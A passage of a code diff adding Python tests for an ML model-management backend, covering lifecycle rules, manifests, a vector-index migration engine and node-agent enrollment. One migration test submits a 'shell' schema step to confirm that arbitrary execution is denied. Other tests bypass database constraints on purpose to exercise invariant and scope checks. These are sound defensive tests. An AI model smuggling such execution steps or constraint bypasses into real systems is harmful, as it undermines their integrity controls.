+    assert violated(session, "decommissioned_nodes_are_terminal")
+
+
+def test_the_report_summarises_only_violations(session: Session) -> None:
+    record = contract(session)
+    deployment(session, record.id)
+    session.commit()
+    drop_guard(session, "uq_capability_deployment_one_production_stable")
+    deployment(session, record.id)
+    session.commit()
+
+    report = check_invariants(session)
+    assert report.ok is False
+    payload = summarise(report)
+    assert payload["violated"] >= 1
+    keys = {item["key"] for item in payload["violations"]}
+    assert "single_production_stable" in keys
+    assert all(item["examples"] for item in payload["violations"])
+
+
+def test_unused_fixtures_are_referenced() -> None:
+    """Keep the imported fixtures honest; unused imports would drift into false coverage."""
+
+    assert ArtifactSet is not None
+    assert UpstreamSnapshot is not None
+    assert RuntimeProfile is not None

backend/tests/test_lifecycle.py

@@ -0,0 +1,45 @@
+import pytest
+
+from modelforge_api.domain.enums import (
+    MigrationStatus,
+    ModelLifecycle,
+    UpgradeClass,
+    VerificationStatus,
+)
+from modelforge_api.domain.lifecycle import (
+    InvalidTransition,
+    assert_model_transition,
+    assert_promotion_allowed,
+)
+
+
+def test_model_lifecycle_allows_only_declared_transition() -> None:
+    assert_model_transition(ModelLifecycle.DISCOVERED, ModelLifecycle.CANDIDATE)
+    with pytest.raises(InvalidTransition):
+        assert_model_transition(ModelLifecycle.DISCOVERED, ModelLifecycle.ACTIVE)
+
+
+def test_stable_promotion_requires_complete_evidence() -> None:
+    with pytest.raises(InvalidTransition, match="benchmark"):
+        assert_promotion_allowed(
+            upgrade_class=UpgradeClass.BEHAVIORAL,
+            verification_status=VerificationStatus.VERIFIED,
+            local_benchmark_ids=[],
+            project_benchmark_ids=[],
+            operator_approval_id="approval",
+            rollback_deployment_id="old",
+        )
+
+
+def test_reindex_promotion_requires_ready_migration() -> None:
+    kwargs = {
+        "upgrade_class": UpgradeClass.REQUIRES_REINDEX,
+        "verification_status": VerificationStatus.VERIFIED,
+        "local_benchmark_ids": ["local"],
+        "project_benchmark_ids": ["project"],
+        "operator_approval_id": "approval",
+        "rollback_deployment_id": "old",
+    }
+    with pytest.raises(InvalidTransition, match="migration"):
+        assert_promotion_allowed(**kwargs, migration_status=MigrationStatus.BACKFILLING)
+    assert_promotion_allowed(**kwargs, migration_status=MigrationStatus.READY)

backend/tests/test_m9_multicapability.py

@@ -0,0 +1,70 @@
+import base64
+
+import pytest
+from pydantic import ValidationError
+
+from modelforge_api.domain.capability_evaluation import CapabilityEvaluationSuiteCreate
+from modelforge_api.domain.serving import (
+    OCRInvokeRequest,
+    SpeechTranscriptionInvokeRequest,
+    VisionEmbeddingInvokeRequest,
+)
+from modelforge_api.services.manifest_registry import ManifestRegistry
+
+
+def test_m9_capability_estate_is_typed_and_complete() -> None:
+    manifests = {item.capability: item for item in ManifestRegistry().capabilities()}
+    assert manifests["document.ocr"].estate.category == "DOCUMENT"
+    assert manifests["vision.embedding"].estate.evaluation_type == "visual-retrieval"
+    assert manifests["speech.transcription"].estate.payload_limits.max_duration_seconds == 120
+    assert manifests["speech.transcription"].privacy.allow_persistence is False
+    assert manifests["speech.transcription"].privacy.allow_network_egress is False
+
+
+def test_modality_requests_reject_ambiguous_or_unbounded_content() -> None:
+    encoded = base64.b64encode(b"safe-local-fixture").decode()
+    OCRInvokeRequest(content_base64=encoded, media_type="image/png")
+    SpeechTranscriptionInvokeRequest(audio_base64=encoded, media_type="audio/wav")
+    VisionEmbeddingInvokeRequest(items=[{"text": "local visual query"}])
+    with pytest.raises(ValidationError, match="exactly one"):
+        VisionEmbeddingInvokeRequest(
+            items=[
+                {
+                    "text": "ambiguous",
+                    "image_base64": encoded,
+                    "media_type": "image/png",
+                }
+            ]
+        )
+    with pytest.raises(ValidationError, match="canonical base64"):
+        OCRInvokeRequest(content_base64="not-base64", media_type="image/png")
+
+
+def test_evaluation_metrics_are_capability_type_specific() -> None:
+    common = {
+        "capability": "document.ocr",
+        "key": "ocr-local",
+        "evaluation_type": "ocr",
+        "revision": "v1",
+        "dataset_revision": "generated-v1",
+        "cases": [
+            {
+                "key": "nl-clean",
+                "fixture_ref": "generated/nl-clean.png",
+                "fixture_sha256": "a" * 64,
+                "ground_truth": {"text": "veilige lokale tekst"},
+            }
+        ],
+    }
+    suite = CapabilityEvaluationSuiteCreate(
+        **common,
+        metrics=[{"name": "cer", "direction": "lower_is_better", "unit": "ratio"}],
+    )
+    assert suite.evaluation_type == "ocr"
+    with pytest.raises(ValidationError, match="invalid for ocr"):
+        CapabilityEvaluationSuiteCreate(
+            **common,
+            metrics=[
+                {"name": "recall_at_10", "direction": "higher_is_better", "unit": "ratio"}
+            ],
+        )

backend/tests/test_manifests.py

@@ -0,0 +1,28 @@
+from pathlib import Path
+
+import pytest
+
+from modelforge_api.services.manifest_registry import PROJECT_ROOT, ManifestRegistry
+
+
+def test_repository_manifests_are_valid_and_model_independent() -> None:
+    registry = ManifestRegistry(PROJECT_ROOT / "config")
+    assert len(registry.capabilities()) >= 6
+    assert len(registry.projects()) == 3
+    assert len(registry.benchmarks()) == 2
+    assert registry.policies().security.trust_remote_code is False
+    for project in registry.projects():
+        for binding in project.bindings.values():
+            assert "model" not in binding.model_fields_set
+
+
+def test_project_referencing_missing_contract_is_rejected(tmp_path: Path) -> None:
+    (tmp_path / "capabilities").mkdir()
+    (tmp_path / "projects").mkdir()
+    (tmp_path / "models").mkdir()
+    (tmp_path / "projects" / "broken.yaml").write_text(
+        "project:\n  id: broken\n  name: Broken\n  description: broken\nbindings:\n  rag.missing:\n    contract_version: 1\n    channel: stable\n    priority: production\n",
+        encoding="utf-8",
+    )
+    with pytest.raises(ValueError, match="missing capability"):
+        ManifestRegistry(tmp_path).projects()

backend/tests/test_migration_engine_m13.py

@@ -0,0 +1,581 @@
+from __future__ import annotations
+
+import hashlib
+import uuid
+
+import pytest
+from sqlalchemy import create_engine
+from sqlalchemy.orm import Session
+
+from modelforge_api.domain.migration_contracts import (
+    AdapterContract,
+    BatchReport,
+    CutoverPrepare,
+    CutoverReport,
+    MigrationClass,
+    MigrationPlanCreate,
+    PreflightReport,
+    ReconciliationReport,
+    RollbackReport,
+    ShadowReport,
+    StateAction,
+    ValidationReport,
+    assert_migration_transition,
+)
+from modelforge_api.persistence.models import (
+    ArtifactSet,
+    Base,
+    CapabilityDeployment,
+    EmbeddingSpace,
+    LifecycleApprovalRequest,
+    MigrationEvent,
+    MigrationPlan,
+    Project,
+    ProjectBinding,
+)
+from modelforge_api.services.migration_adapters import REQUIRED_REINDEX_OPERATIONS
+from modelforge_api.services.migration_engine import (
+    MigrationEngineError,
+    MigrationEngineService,
+)
+from tests.test_lifecycle_m12 import approved_lab_plan
+
+
+def digest(value: str) -> str:
+    return hashlib.sha256(value.encode()).hexdigest()
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def planned_migration(
+    session: Session,
+    *,
+    source: str = "rag_source_v1",
+    target: str = "rag_shadow_v2",
+    migration_class: MigrationClass = MigrationClass.REQUIRES_REINDEX,
+    schema_steps: list[dict[str, object]] | None = None,
+    schema_operations: frozenset[str] = frozenset(),
+) -> tuple[MigrationEngineService, object]:
+    _lifecycle, _subject, lifecycle_plan = approved_lab_plan(session, target=f"m13-{uuid.uuid4()}")
+    deployment = session.get(CapabilityDeployment, lifecycle_plan.candidate_deployment_id)
+    approval = session.get(LifecycleApprovalRequest, lifecycle_plan.approval_request_id)
+    assert deployment is not None and approval is not None
+    artifact_set = session.get(ArtifactSet, deployment.artifact_set_id)
+    assert artifact_set is not None
+
+    project = Project(
+        key=f"m13-project-{uuid.uuid4()}",
+        name="M13 isolated rehearsal",
+        description="M13 test project",
+        active=True,
+    )
+    session.add(project)
+    session.flush()
+    binding = ProjectBinding(
+        project_id=project.id,
+        capability_contract_id=deployment.capability_contract_id,
+        channel="experiment",
+        priority="background",
+        optional=False,
+        fallback_policy={"mode": "fail_closed"},
+        migration_support="reindex",
+        slo={},
+        benchmark_requirements=["retrieval"],
+    )
+    assert deployment.embedding_space_id is not None
+    target_space = session.get(EmbeddingSpace, deployment.embedding_space_id)
+    assert target_space is not None
+    session.add(binding)
+    session.commit()
+
+    service = MigrationEngineService(session)
+    service.ensure_defaults()
+    policy = next(
+        item for item in service.validation_policies() if item.key == "isolated-lab-rehearsal"
+    )
+    adapter = AdapterContract(
+        key="examplerag.qdrant-reindex",
+        version="1",
+        operations=REQUIRED_REINDEX_OPERATIONS,
+        fingerprint=digest("examplerag.qdrant-reindex@1"),
+        schema_operations=schema_operations,
+    )
+    request = MigrationPlanCreate(
+        project_id=project.id,
+        project_binding_id=binding.id,
+        capability_contract_id=deployment.capability_contract_id,
+        migration_class=migration_class,
+        environment="LAB",
+        adapter=adapter,
+        source_identity={
+            "fingerprint": digest(source),
+            "collection": source,
+            "embedding_space_id": "source-space-v1",
+        },
+        target_identity={
+            "fingerprint": digest(target),
+            "collection": target,
+            "embedding_space_id": str(target_space.id),
+            "capability_deployment_id": str(deployment.id),
+            "artifact_set_id": str(deployment.artifact_set_id),
+            "runtime_profile_id": str(deployment.runtime_profile_id),
+            "model_revision_id": str(artifact_set.revision_id),
+            "dimension": 1024,
+            "distance_metric": "COSINE",
+            "document_semantics": {"prefix": ""},
+            "query_semantics": {"prefix": "query"},
+        },
+        source_data_target=source,
+        target_shadow_target=target,
+        source_space_ref="embedding-space-v1",
+        target_space_id=target_space.id,
+        corpus_revision="corpus-exact-1",
+        migration_policy_revision="m13-policy-1",
+        validation_policy_revision_id=policy.id,
+        lifecycle_approval_id=approval.id,
+        rollback_target_ref=source,
+        total_expected_items=4,
+        batch_size=2,
+        max_in_flight_batches=1,
+        concurrency=1,
+        target_storage={"backend": "qdrant", "collection": target},
+        shadow_policy={"minimum_queries": 2},
+        cutover_policy={"maximum_error_rate": 0.0},
+        rollback_retention_days=30,
+        environment_fingerprint=digest("isolated-test-environment"),
+        idempotency_key=f"m13-plan-{uuid.uuid4()}",
+        created_by="test-operator",
+        irreversible=migration_class is MigrationClass.SCHEMA_BREAKING,
+        schema_steps=schema_steps or [],
+    )
+    return service, service.create_plan(request)
+
+
+def preflight(service: MigrationEngineService, plan: object) -> object:
+    return service.preflight(
+        plan.id,
+        PreflightReport(
+            expected_version=plan.version,
+            adapter_fingerprint=plan.adapter.fingerprint,
+            source_fingerprint=plan.source_identity["fingerprint"],
+            source_exists=True,
+            source_healthy=True,
+            source_count=plan.total_expected_items,
+            target_conflict_free=True,
+            target_space_valid=True,
+            capability_healthy=True,
+            project_credential_valid=True,
+            storage_sufficient=True,
+            scheduler_capacity=True,
+            adapter_available=True,
+            rollback_source_retained=True,
+            evaluation_suite_available=True,
+            lifecycle_approval_current=True,
+            evidence={"probe": "exact"},
+        ),
+    )
+
+
+def batch(
+    service: MigrationEngineService, plan: object, number: int, *, retryable: bool = False
+) -> object:
+    return service.record_batch(
+        plan.id,
+        BatchReport(
+            expected_version=plan.version,
+            generation=plan.generation,
+            batch_number=number,
+            cursor_start=str(number * 2),
+            cursor_end=str(number * 2 + 2),
+            item_count=2,
+            completed_items=0 if retryable else 2,
+            failed_items=2 if retryable else 0,
+            retryable_items=2 if retryable else 0,
+            permanent_failed_items=0,
+            item_fingerprint=digest(f"items-{number}"),
+            result_fingerprint=digest(f"result-{number}-{'retry' if retryable else 'ok'}"),
+            output_shape_valid=True,
+            finite=True,
+            target_space_matches=True,
+            destination_committed=not retryable,
+            content_hashes_match=True,
+            duration_ms=10.0,
+            error_code="WRITE_FAILED" if retryable else None,
+            bounded_errors=[{"code": "temporary"}] if retryable else [],
+        ),
+    )
+
+
+def complete_backfill(service: MigrationEngineService, plan: object) -> object:
+    plan = preflight(service, plan)
+    plan = service.start_backfill(
+        plan.id,
+        StateAction(expected_version=plan.version, actor="operator", reason="begin"),
+    )
+    batch(service, plan, 0)
+    plan = service.plan(plan.id)
+    batch(service, plan, 1)
+    return service.plan(plan.id)
+
+
+def validate_and_shadow(service: MigrationEngineService, plan: object) -> object:
+    validation = service.validate(
+        plan.id,
+        ValidationReport(
+            expected_version=plan.version,
+            generation=plan.generation,
+            expected_count=4,
+            actual_count=4,
+            missing_count=0,
+            duplicate_count=0,
+            malformed_count=0,
+            non_finite_count=0,
+            wrong_dimension_count=0,
+            content_hash_mismatch_count=0,
+            wrong_space_count=0,
+            index_schema_matches=True,
+            distance_metric_matches=True,
+            payload_integrity=True,
+            target_fingerprint=digest("target-validated"),
+            evaluation_run_ids=[uuid.uuid4()],
+            comparable=True,
+            critical_regressions=0,
+            latency_regression_ratio=0.9,
+            project_fit_eligible=False,
+            external_validation_satisfied=False,
+            security_approved=True,
+            evidence={"suite": "isolated"},
+        ),
+    )
+    assert validation.technical_cutover_eligible is True
+    assert validation.project_promotion_eligible is False
+    plan = service.plan(plan.id)
+    plan = service.start_shadow(
+        plan.id,
+        StateAction(expected_version=plan.version, actor="operator", reason="shadow"),
+    )
+    return service.complete_shadow(
+        plan.id,
+        ShadowReport(
+            expected_version=plan.version,
+            generation=plan.generation,
+            request_count=4,
+            source_error_count=0,
+            target_error_count=0,
+            source_latency_p95_ms=20,
+            target_latency_p95_ms=19,
+            critical_regressions=0,
+            metrics={"recall_delta": 0.0},
+            evidence_refs=["evaluation:isolated"],
+            result_fingerprint=digest(f"shadow-{plan.id}"),
+        ),
+    )
+
+
+def ready_for_cutover(service: MigrationEngineService, plan: object) -> object:
+    return validate_and_shadow(service, complete_backfill(service, plan))
+
+
+def test_transition_graph_rejects_shortcuts() -> None:
+    assert_migration_transition("READY", "BACKFILLING")
+    with pytest.raises(ValueError, match="invalid migration transition"):
+        assert_migration_transition("PLANNED", "CUTOVER_COMMITTED")
+
+
+@pytest.mark.parametrize("migration_class", [MigrationClass.TRANSPARENT, MigrationClass.BEHAVIORAL])
+def test_embedding_space_change_requires_reindex(
+    session: Session, migration_class: MigrationClass
+) -> None:
+    with pytest.raises(MigrationEngineError) as raised:
+        planned_migration(session, migration_class=migration_class)
+    assert raised.value.code == "REINDEX_REQUIRED"
+
+
+def test_plan_is_idempotent_and_immutable(session: Session) -> None:
+    service, plan = planned_migration(session)
+    stored = session.get(MigrationPlan, plan.id)
+    assert stored is not None
+    with pytest.raises(ValueError, match="immutable"):
+        stored.target_shadow_target = "other-target"
+        session.commit()
+    session.rollback()
+    assert service.plan(plan.id).target_shadow_target == "rag_shadow_v2"
+
+
+def test_preflight_fails_closed_on_changed_source(session: Session) -> None:
+    service, plan = planned_migration(session)
+    report = PreflightReport(
+        expected_version=plan.version,
+        adapter_fingerprint=plan.adapter.fingerprint,
+        source_fingerprint=digest("unexpected-source"),
+        source_exists=True,
+        source_healthy=True,
+        source_count=4,
+        target_conflict_free=True,
+        target_space_valid=True,
+        capability_healthy=True,
+        project_credential_valid=True,
+        storage_sufficient=True,
+        scheduler_capacity=True,
+        adapter_available=True,
+        rollback_source_retained=True,
+        evaluation_suite_available=True,
+        lifecycle_approval_current=True,
+    )
+    assert service.preflight(plan.id, report).failure_code == "SOURCE_CHANGED"
+
+
+def test_backfill_pause_resume_retry_and_idempotency(session: Session) -> None:
+    service, plan = planned_migration(session)
+    plan = preflight(service, plan)
+    plan = service.start_backfill(
+        plan.id, StateAction(expected_version=plan.version, actor="worker", reason="start")
+    )
+    first = batch(service, plan, 0, retryable=True)
+    assert first.status == "RETRYABLE_FAILED"
+    plan = service.plan(plan.id)
+    plan = service.pause_backfill(
+        plan.id, StateAction(expected_version=plan.version, actor="operator", reason="interrupt")
+    )
+    plan = service.start_backfill(
+        plan.id, StateAction(expected_version=plan.version, actor="operator", reason="resume")
+    )
+    completed = batch(service, plan, 0)
+    replay = service.record_batch(
+        plan.id,
+        BatchReport(
+            expected_version=plan.version,
+            generation=plan.generation,
+            batch_number=0,
+            cursor_start="0",
+            cursor_end="2",
+            item_count=2,
+            completed_items=2,
+            failed_items=0,
+            retryable_items=0,
+            permanent_failed_items=0,
+            item_fingerprint=digest("items-0"),
+            result_fingerprint=digest("result-0-ok"),
+            output_shape_valid=True,
+            finite=True,
+            target_space_matches=True,
+            destination_committed=True,
+            content_hashes_match=True,
+            duration_ms=10,
+        ),
+    )
+    assert replay.id == completed.id
+    current = service.plan(plan.id)
+    assert current.completed_items == 2
+    assert current.retryable_items == 0
+
+
+def test_validation_keeps_lab_technical_and_project_eligibility_separate(
+    session: Session,
+) -> None:
+    service, plan = planned_migration(session)
+    validation = service.validate(
+        plan.id,
+        ValidationReport(
+            expected_version=complete_backfill(service, plan).version,
+            generation=1,
+            expected_count=4,
+            actual_count=4,
+            missing_count=0,
+            duplicate_count=0,
+            malformed_count=0,
+            non_finite_count=0,
+            wrong_dimension_count=0,
+            content_hash_mismatch_count=0,
+            wrong_space_count=0,
+            index_schema_matches=True,
+            distance_metric_matches=True,
+            payload_integrity=True,
+            target_fingerprint=digest("validated"),
+            evaluation_run_ids=[uuid.uuid4()],
+            comparable=True,
+            critical_regressions=1,
+            latency_regression_ratio=None,
+            project_fit_eligible=False,
+            external_validation_satisfied=False,
+            security_approved=True,
+        ),
+    )
+    assert validation.technical_cutover_eligible is True
+    assert validation.project_promotion_eligible is False
+    assert "PROJECT_FIT_NOT_ELIGIBLE" in validation.blockers
+
+
+def test_atomic_cutover_and_exact_rollback(session: Session) -> None:
+    service, plan = planned_migration(session)
+    plan = ready_for_cutover(service, plan)
+    operation = service.prepare_cutover(
+        plan.id,
+        CutoverPrepare(
+            expected_version=plan.version,
+            idempotency_key=f"cutover-{uuid.uuid4()}",
+            actor="operator",
+            expected_external_source=plan.source_data_target,
+            observed_external_source=plan.source_data_target,
+            external_state_fingerprint=digest("before"),
+            configuration_version="cfg-1",
+        ),
+    )
+    plan = service.plan(plan.id)
+    operation = service.report_cutover(
+        plan.id,
+        CutoverReport(
+            expected_version=plan.version,
+            operation_id=operation.id,
+            generation=plan.generation,
+            external_source_before=plan.source_data_target,
+            external_target_after=plan.target_shadow_target,
+            external_state_fingerprint=digest("after"),
+            switch_duration_ms=3.5,
+            target_reachable=True,
+            expected_identity=True,
+            capability_healthy=True,
+            project_read_path_healthy=True,
+            error_rate=0,
+            smoke_query_count=2,
+            smoke_error_count=0,
+            evidence={"alias": "verified"},
+        ),
+    )
+    assert operation.stage == "COMMITTED"
+    plan = service.plan(plan.id)
+    operation = service.rollback(
+        plan.id,
+        RollbackReport(
+            expected_version=plan.version,
+            operation_id=operation.id,
+            generation=plan.generation,
+            restored_external_target=plan.source_data_target,
+            external_state_fingerprint=digest("restored"),
+            elapsed_ms=2.0,
+            source_reachable=True,
+            exact_identity_restored=True,
+            capability_healthy=True,
+            project_read_path_healthy=True,
+            evidence={"alias": "restored"},
+        ),
+    )
+    assert operation.stage == "ROLLED_BACK"
+    assert service.plan(plan.id).state == "ROLLED_BACK"
+
+
+def test_stale_source_is_rejected_before_cutover(session: Session) -> None:
+    service, plan = planned_migration(session)
+    plan = ready_for_cutover(service, plan)
+    with pytest.raises(MigrationEngineError, match="external source changed") as raised:
+        service.prepare_cutover(
+            plan.id,
+            CutoverPrepare(
+                expected_version=plan.version,
+                idempotency_key=f"cutover-{uuid.uuid4()}",
+                actor="operator",
+                expected_external_source=plan.source_data_target,
+                observed_external_source="concurrent-writer-target",
+                external_state_fingerprint=digest("stale"),
+                configuration_version="cfg-2",
+            ),
+        )
+    assert raised.value.code == "STALE_SOURCE"
+
+
+def test_crash_reconciliation_uses_observed_external_truth(session: Session) -> None:
+    service, plan = planned_migration(session)
+    plan = ready_for_cutover(service, plan)
+    operation = service.prepare_cutover(
+        plan.id,
+        CutoverPrepare(
+            expected_version=plan.version,
+            idempotency_key=f"cutover-{uuid.uuid4()}",
+            actor="operator",
+            expected_external_source=plan.source_data_target,
+            observed_external_source=plan.source_data_target,
+            external_state_fingerprint=digest("before-crash"),
+            configuration_version="cfg-crash",
+        ),
+    )
+    assert service.pending_reconciliation_count() == 1
+    operation = service.reconcile(
+        ReconciliationReport(
+            operation_id=operation.id,
+            generation=plan.generation,
+            observed_external_target=plan.target_shadow_target,
+            external_state_fingerprint=digest("observed-after-restart"),
+            target_healthy=True,
+            source_healthy=True,
+            switch_duration_ms=17.5,
+            smoke_query_count=3,
+            smoke_error_count=0,
+            evidence={"adapter": "isolated-test"},
+        )
+    )
+    assert operation.stage == "COMMITTED"
+    assert operation.switch_duration_ms == 17.5
+    assert operation.health_evidence["smoke_query_count"] == 3
+    assert service.pending_reconciliation_count() == 0
+
+
+def test_schema_breaking_plan_cannot_inject_arbitrary_execution(session: Session) -> None:
+    with pytest.raises(MigrationEngineError) as raised:
+        planned_migration(
+            session,
+            migration_class=MigrationClass.SCHEMA_BREAKING,
+            schema_steps=[{"operation": "shell"}],
+        )
+    assert raised.value.code == "ARBITRARY_EXECUTION_DENIED"
+
+
+def test_schema_breaking_plan_stops_at_typed_manual_boundary(session: Session) -> None:
+    step_key = "catalog.expand-v2"
+    service, plan = planned_migration(
+        session,
+        migration_class=MigrationClass.SCHEMA_BREAKING,
+        schema_operations=frozenset({step_key}),
+        schema_steps=[
+            {
+                "operation": "expand",
+                "adapter_step": step_key,
+                "preconditions": ["schema-v1-present"],
+                "required_application_versions": {"catalog": ">=2.0"},
+                "compatibility_window": "v1-v2-dual-read",
+                "rollback_feasible": False,
+                "irreversible": True,
+            }
+        ],
+    )
+    assert plan.state == "PLANNED"
+    assert plan.irreversible is True
+    with pytest.raises(MigrationEngineError) as raised:
+        service.prepare_cutover(
+            plan.id,
+            CutoverPrepare(
+                expected_version=plan.version,
+                idempotency_key=f"schema-cutover-{uuid.uuid4()}",
+                actor="operator",
+                expected_external_source=plan.source_data_target,
+                observed_external_source=plan.source_data_target,
+                external_state_fingerprint=digest("schema-boundary"),
+                configuration_version="schema-v1",
+            ),
+        )
+    assert raised.value.code == "SCHEMA_BREAKING_AUTO_EXECUTION_DENIED"
+
+
+def test_migration_events_are_append_only(session: Session) -> None:
+    service, plan = planned_migration(session)
+    event = service.events(plan.id, 1)[0]
+    stored = session.get(MigrationEvent, event.id)
+    assert stored is not None
+    with pytest.raises(ValueError, match="append-only"):
+        stored.reason = "rewritten"
+        session.commit()

backend/tests/test_node_agent_api.py

@@ -0,0 +1,201 @@
+import uuid
+from datetime import UTC, datetime
+
+import pytest
+from fastapi import HTTPException
+from fastapi.testclient import TestClient
+from hardware_fakes import FakeAcceleratorCollector, FakeHostCollector
+from pydantic import SecretStr
+from sqlalchemy import create_engine, text
+from sqlalchemy.orm import Session
+from sqlalchemy.pool import StaticPool
+
+from modelforge_api.api.routes.agent import AttemptLimiter, get_agent_service
+from modelforge_api.api.routes.hardware import get_hardware_service
+from modelforge_api.main import app
+from modelforge_api.persistence.models import Base, ComputeNode, NodeCredential, NodeEnrollment
+from modelforge_api.services.hardware_inventory import HardwareInventoryService
+from modelforge_api.services.node_agent import NodeAgentService
+from modelforge_api.settings import Settings, get_settings
+
+
+def enrollment_payload(token: str, identity: str = "remote-a") -> dict:
+    return {
+        "enrollment_token": token,
+        "identity_key": identity,
+        "identity_source": "persisted_uuid",
+        "hostname": identity,
+        "display_name": identity,
+        "metadata": {
+            "agent_version": "0.1.0",
+            "protocol_version": 1,
+            "supported_capabilities": ["hardware.inventory", "hardware.telemetry"],
+            "started_at": datetime.now(UTC).isoformat(),
+        },
+    }
+
+
+def test_agent_api_enrollment_secret_is_once_only_and_node_scoped() -> None:
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    session = Session(engine)
+    settings = Settings(_env_file=None, operator_api_key=SecretStr("admin-key"))
+    agent_service = NodeAgentService(session, settings)
+    hardware_service = HardwareInventoryService(
+        session, FakeHostCollector(), FakeAcceleratorCollector([])
+    )
+    app.dependency_overrides[get_agent_service] = lambda: agent_service
+    app.dependency_overrides[get_hardware_service] = lambda: hardware_service
+    app.dependency_overrides[get_settings] = lambda: settings
+    try:
+        with TestClient(app) as client:
+            assert client.post("/api/v1/admin/node-enrollments", json={}).status_code == 401
+            created = client.post(
+                "/api/v1/admin/node-enrollments",
+                headers={"X-ModelForge-Admin-Token": "admin-key"},
+                json={"display_name": "Remote A", "role": "primary-inference"},
+            )
+            assert created.status_code == 201
+            assert created.headers["cache-control"] == "no-store"
+            token = created.json()["enrollment_token"]
+            summaries = client.get(
+                "/api/v1/admin/node-enrollments",
+                headers={"X-ModelForge-Admin-Token": "admin-key"},
+            ).json()
+            assert "enrollment_token" not in summaries[0]
+            enrolled = client.post("/api/v1/agent/enroll", json=enrollment_payload(token))
+            assert enrolled.status_code == 201
+            assert enrolled.headers["cache-control"] == "no-store"
+            credential = enrolled.json()["node_credential"]
+            assert (
+                client.post("/api/v1/agent/enroll", json=enrollment_payload(token)).status_code
+                == 401
+            )
+            wrong_node = client.post(
+                "/api/v1/agent/heartbeat",
+                headers={"Authorization": f"Bearer {credential}"},
+                json={
+                    "identity_key": "remote-b",
+                    "metadata": enrollment_payload(token)["metadata"],
+                    "observed_at": datetime.now(UTC).isoformat(),
+                },
+            )
+            assert wrong_node.status_code == 403
+            assert wrong_node.json()["error"]["code"] == "agent_not_authorized"
+            accepted = client.post(
+                "/api/v1/agent/heartbeat",
+                headers={"Authorization": f"Bearer {credential}"},
+                json={
+                    "identity_key": "remote-a",
+                    "metadata": enrollment_payload(token)["metadata"],
+                    "observed_at": datetime.now(UTC).isoformat(),
+                },
+            )
+            assert accepted.status_code == 200
+            assert accepted.json()["accepted"] is True
+            host_inventory = (
+                FakeHostCollector()
+                .collect()
+                .model_copy(
+                    update={
+                        "identity_key": "remote-a",
+                        "identity_source": "persisted_uuid",
+                        "hostname": "remote-a",
+                        "display_name": "remote-a",
+                    }
+                )
+            )
+            published_inventory = client.put(
+                "/api/v1/agent/inventory",
+                headers={"Authorization": f"Bearer {credential}"},
+                json={
+                    "identity_key": "remote-a",
+                    "protocol_version": 1,
+                    "sequence": 1,
+                    "observed_at": host_inventory.inventory_at.isoformat(),
+                    "host": host_inventory.model_dump(mode="json"),
+                    "nvidia": {"availability": "known", "inventory": []},
+                },
+            )
+            assert published_inventory.status_code == 200
+            assert published_inventory.json()["accepted"] is True
+            wrong_scope_created = client.post(
+                "/api/v1/admin/node-enrollments",
+                headers={"X-ModelForge-Admin-Token": "admin-key"},
+                json={"display_name": "Wrong scope control"},
+            )
+            assert wrong_scope_created.status_code == 201
+            wrong_scope_enrollment = session.get(
+                NodeEnrollment,
+                uuid.UUID(wrong_scope_created.json()["id"]),
+            )
+            assert wrong_scope_enrollment is not None
+            session.execute(text("PRAGMA ignore_check_constraints = ON"))
+            wrong_scope_enrollment.scope = "node.publish"
+            session.commit()
+            session.execute(text("PRAGMA ignore_check_constraints = OFF"))
+            rejected_enrollment = client.post(
+                "/api/v1/agent/enroll",
+                json=enrollment_payload(
+                    wrong_scope_created.json()["enrollment_token"],
+                    identity="wrong-scope-node",
+                ),
+            )
+            assert rejected_enrollment.status_code == 403
+            assert rejected_enrollment.json()["error"]["code"] == "agent_not_authorized"
+            session.refresh(wrong_scope_enrollment)
+            assert wrong_scope_enrollment.used_at is None
+            assert session.query(ComputeNode).count() == 1
+            assert session.query(NodeCredential).count() == 1
+            node_id = enrolled.json()["node_id"]
+            node = client.get(
+                f"/api/v1/hardware/nodes/{node_id}",
+                headers={"X-ModelForge-Admin-Token": "admin-key"},
+            )
+            assert node.status_code == 200
+            assert node.json()["role"] == "primary-inference"
+            assert node.json()["observation_source"] == "remote_agent"
+            malformed = client.put(
+                "/api/v1/agent/telemetry",
+                headers={"Authorization": f"Bearer {credential}"},
+                json={"identity_key": "remote-a"},
+            )
+            assert malformed.status_code == 422
+            assert malformed.json()["error"]["code"] == "request_validation_failed"
+    finally:
+        app.dependency_overrides.clear()
+        session.close()
+
+
+def test_enrollment_attempt_limiter_rejects_bursts() -> None:
+    limiter = AttemptLimiter(limit=2, window_seconds=60)
+    limiter.check("test-client")
+    limiter.check("test-client")
+    with pytest.raises(HTTPException) as raised:
+        limiter.check("test-client")
+    assert raised.value.status_code == 429
+
+
+def test_agent_openapi_contract_contains_versioned_surfaces_without_list_secret() -> None:
+    schema = app.openapi()
+    for path in (
+        "/api/v1/agent/enroll",
+        "/api/v1/agent/heartbeat",
+        "/api/v1/agent/inventory",
+        "/api/v1/agent/telemetry",
+        "/api/v1/admin/node-enrollments",
+        "/api/v1/admin/hardware/nodes/{node_id}/credential/rotate",
+        "/api/v1/admin/hardware/nodes/{node_id}/decommission/preview",
+        "/api/v1/admin/hardware/nodes/{node_id}/decommission",
+        "/api/v1/agent/runtime-probes/next",
+        "/api/v1/agent/runtime-probes/{probe_id}/progress",
+        "/api/v1/agent/runtime-probes/{probe_id}/complete",
+        "/api/v1/agent/runtime-probes/{probe_id}/fail",
+    ):
+        assert path in schema["paths"]
+    summary = schema["components"]["schemas"]["EnrollmentTokenSummary"]
+    assert "enrollment_token" not in summary["properties"]

backend/tests/test_node_agent_control_plane.py

@@ -0,0 +1,599 @@
+import uuid
+from datetime import UTC, datetime, timedelta
+
+import pytest
+from hardware_fakes import FakeHostCollector, accelerator
+from pydantic import SecretStr
+from sqlalchemy import create_engine, select, text, update
+from sqlalchemy.orm import Session
+
+from modelforge_api.domain.agent_protocol import (
+    AGENT_PROTOCOL_CAPABILITIES,
+    AgentMetadata,
+    EnrollmentRequest,
+    EnrollmentTokenCreate,
+    HeartbeatRequest,
+    InventoryNvidiaPayload,
+    InventoryReport,
+    TelemetryReport,
+)
+from modelforge_api.domain.enums import Availability, HardwareStatus, NodeLiveness
+from modelforge_api.domain.hardware import AcceleratorTelemetry, ObservedValue
+from modelforge_api.persistence.models import (
+    Accelerator,
+    AuditEvent,
+    Base,
